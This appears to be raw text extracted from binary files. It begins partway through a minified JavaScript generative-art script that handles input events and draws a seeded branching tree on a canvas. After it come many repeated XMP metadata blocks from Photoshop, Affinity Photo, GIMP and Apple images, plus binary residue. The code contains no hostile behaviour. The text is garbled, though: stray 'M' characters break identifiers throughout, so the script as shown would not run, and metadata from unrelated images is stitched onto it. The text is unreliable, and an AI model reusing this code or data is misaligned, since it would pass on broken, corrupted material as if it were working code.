er&&n._touchEnded.isPlaceHolder}n.noLoop=function(){n._noLoop=!0,r=null},n.loop=function(){n._noLoop=!1,null==r&&z()},n.redraw=function(){z()},n.frameRate=function(e){n._frameRate=e},setTimeout((function(){n._preloadFn(),c=window.performance.now(),function e(){if(s>0)return setTimeout(e,10);n._setupFn(),z()}()}),1),n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)},n.canvas.onmousedown=function(e){n.pM
mouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)},n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)},n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1},window.addEventListener("keydown",(funM
ction(e){n.keyIsPressed=!0,n.key=e.key,n.keyCode=e.keyCode,u[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)})),window.addEventListener("keyup",(function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,u[n.keyCode]=!1,n._keyReleasedFn(e)})),n.keyIsDown=function(e){return!!u[e]},n.canvas.ontouchstart=function(e){n.touches=e.touches.map(k),O()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||eM
.preventDefault()),n._touchStartedFn(e)||e.preventDefault()},n.canvas.ontouchmove=function(e){n.touches=e.touches.map(k),O()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()},n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(k),O()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPM
ressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()},n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPermission),n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then((e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then((e=>{"granted"==e&&(n.hasSensorPermissM
ion=!0)})).catch(alert)})).catch(alert)},window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,n.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.reM
lRotationZ=n.rotationZ},window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13]M
,e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]M
*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e),0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}},n.year=function(){return(new Date).getFullYear()},n.day=functionM
(){return(new Date).getDay()},n.hour=function(){return(new Date).getHours()},n.minute=function(){return(new Date).getMinutes()},n.second=function(){return(new Date).getSeconds()},n.millis=function(){return window.performance.now()-c}}(e)}function t(){let e=l(0,1);return e+=.618033988749895,e%=1,color(floor(360*e),i(10,100),i(10,100))}function n(e){e.sort((function(e,t){return e.width>t.width?-1:e.width<t.width?1:0}))}function o(e,t,n,o,r,a,i,s,u){let c=[];for(let h=e;h<t;h+=s)c.push({start:createVector(h,r),end:creM
ateVector(h,r+a*(1-l(0,i))),width:n*(1-l(0,o)),color:u});return c}function r(e,t,n,o,a,s,u){let c=createVector(e.x+t*cos(n),e.y+t*sin(n)),h=[{start:e,end:c,width:o,color:s[i(0,s.length-1)]}];if(u<i(6,12)){let e=t/l(1.3,1.6),i=o/l(1.1,1.6);h.push(...r(c,e,n+a,i,a,s,u+1)),h.push(...r(c,e,n-a,i,a,s,u+1))}return h}function a(e){for(let t=0;t<e.length;t++){let n=e[t].width;stroke(e[t].color),strokeWeight(.9*n),line(e[t].start.x,e[t].start.y,e[t].end.x,e[t].end.y)}}function i(e,t){return e=Math.ceil(e),t=Math.floor(t),MaM
th.floor(c()*(t-e+1))+e}function l(e,t){return c()*(t-e)+e}function s(e,t,n,o){return function(){var r=(e>>>=0)+(t>>>=0)|0;return e=t^t>>>9,t=(n>>>=0)+(n<<3)|0,n=(n=n<<21|n>>>11)+(r=r+(o=(o>>>=0)+1|0)|0)|0,(r>>>0)/4294967296}}function u(e){for(var t=0,n=1779033703^e.length;t<e.length;t++)n=(n=Math.imul(n^e.charCodeAt(t),3432918353))<<13|n>>>19;return function(){return n=Math.imul(n^n>>>16,2246822507),n=Math.imul(n^n>>>13,3266489909),(n^=n>>>16)>>>0}}"object"==typeof exports&&"undefined"!=typeof module&&(module.expoM
rts=e),new e("global");let c,h="m/71233/1/1/0",f="02da94586b91eb8b6d4f7d6983606b98e115f676d57766bb23860d8d4bf619b66c";function setup(){createCanvas(windowWidth,windowHeight),colorMode(HSB,360,100,100);let e=u(f.slice(2));c=s(e(),e(),e(),e());let d=i(2,6),p=[];for(let e=0;e<d-1;e++)p.push(t());let y,m,g=p[i(0,p.length-1)];do{y=t(),m=Math.abs(hue(y)-hue(g)),m+=Math.abs(saturation(y)-saturation(g)),m+=Math.abs(brightness(y)-brightness(g))}while(m<180);background(y);for(let e=0;e<=width;e+=i(0,15))for(let t=0;t<=heightM
;t+=i(0,15)){let n=i(10,20);push(),translate(e,t),rotate(l(0,2*PI)),beginShape(),noStroke(),fill(hue(y)+i(-2,2),saturation(y)+i(-2,2),brightness(y)+i(-2,2));for(let e=0;e<2*PI;e+=.1){let t=cos(e)*n,o=sin(e)*n;vertex(t,o)}endShape(CLOSE),pop()}let v=l(.1,.6),M=(height+width)/150,_=(height+width)/50,x=i(M,_),w=.7+(x-M)/(_-M)*(.9-.7),R=i((height+width)/14,(height+width)/8),I=o(0,width,i(x/4,x/2),l(.2,1),height,-x*l(.5,1.5),l(.2,1),i(x/4,x/2),g),C=r(createVector(width/2,height),R,-PI/2,x,v,p,0);n(C),n(I);let S=(width+hML
eight)/15;stroke(g),strokeWeight(S/50),noFill(),ellipse(width-S,S,S,S),fill(g),noStroke(),ellipse(width-S,S,S*w,S*w),a(C,!1),a(I,!1),textFont("Courier New");let E=(width+height)/150;textSize(E),strokeWeight(1),stroke(g),textStyle(NORMAL);let A=h.slice(2).split("/");for(let e=0;e<A.length;e++)text("/"+A[e],4,E+e*E)}</script></html>h!
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:7D6BF074A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:7D6BF075A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7D6BF072A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:7D6BF073A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:7FF428EEA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:7FF428EFA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7FF428ECA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:7FF428EDA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>n
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:6C9FEB4CA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:6C9FEB4DA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6C9FEB4AA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:6C9FEB4BA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?><
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:529C2BBCA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:529C2BBDA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:529C2BBAA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:529C2BBBA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>s
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:4596F3C9A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:4596F3CAA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4596F3C7A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:4596F3C8A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.5.0">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:exif="http://ns.adobe.com/exif/1.0/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mM
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
   exif:ColorSpace="1"
   exif:PixelXDimension="360"
   exif:PixelYDimension="360"
   photoshop:ColorMode="3"
   photoshop:ICCProfile="sRGB IEC61966-2.1"
   tiff:ImageLength="360"
   tiff:ImageWidth="360"
   tiff:ResolutionUnit="2"
   tiff:XResolution="72/1"
   tiff:YResolution="72/1"
   xmp:MetadataDate="2023-02-13T21:18:24+01:00"
   xmp:ModifyDate="2023-02-13T21:18:24+01:00">
      xmpMM:action="prM
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-11T22:31:19+01:00"/>
      xmpMM:action="produced"
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-12T20:26:37+01:00"/>
      xmpMM:action="produced"
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-13T19:52:16+01:00"/>
      xmpMM:action="produced"
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-13T20:05:49+01:0M
      stEvt:action="produced"
      stEvt:softwareAgent="Affinity Photo 1.10.5"
      stEvt:when="2023-02-13T21:18:24+01:00"/>
  </rdf:Description>
iCCPsRGB IEC61966-2.1
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:4E70C01DA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:4E70C01EA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4E70C01BA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:4E70C01CA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:6554D69DA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:6554D69EA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6554D69BA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:6554D69CA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:63CCC2E8A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:63CCC2E9A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:63CCC2E6A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:63CCC2E7A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>>#`O
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sTM
ype/ResourceEvent#" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:8aafd162-2f93-4e3f-b383-13a0a81a09da" xmpMM:InstanceID="xmp.iid:deb7ef60-aea4-4065-b4d2-103a856d8d53" xmpMM:OriginalDocumentID="xmp.did:1edfc570-9211-422e-a5d8-f89e943c7c01" GIMP:API="2.0" GIMP:Platform="Mac OS" GIMP:TimeStamp="1676325047696257" GIMP:Version="2.10.32" dc:Format="image/jpeg" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:M
02:13T16:50:45-05:00" xmp:ModifyDate="2023:02:13T16:50:45-05:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:6379ba63-0523-47d3-ac28-2bab41352d64" stEvt:softwareAgent="Gimp 2.10 (Mac OS)" stEvt:when="2023-02-13T16:50:47-05:00"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                     M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                    <?xpacket end="w"?>
Copyright Apple Inc., 2017
iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.M
adobe.com/exif/1.0/"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <exif:PixelXDimension>638</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
         <exif:PixelYDimension>640</exif:PixelYDimension>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <tiff:YResolution>144</tiff:YResolution>
         <tiff:XResolution>144</tiff:XResolution>
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:8E64B81EA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:8F67500AA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8E64B81CA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:8E64B81DA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:417074B6A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:417074B7A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:417074B4A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:417074B5A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:33DD0658A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:34DC7F84A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:33DD0656A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:33DD0657A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>x~
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:3D6767CDA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:3D6767CEA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3BE671AEA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:3D6767CCA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:87224DD3A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:87224DD4A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:858712DCA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:87224DD2A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>BQ
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:89BBB6B1A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:89BBB6B2A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:89BBB6AFA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:89BBB6B0A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
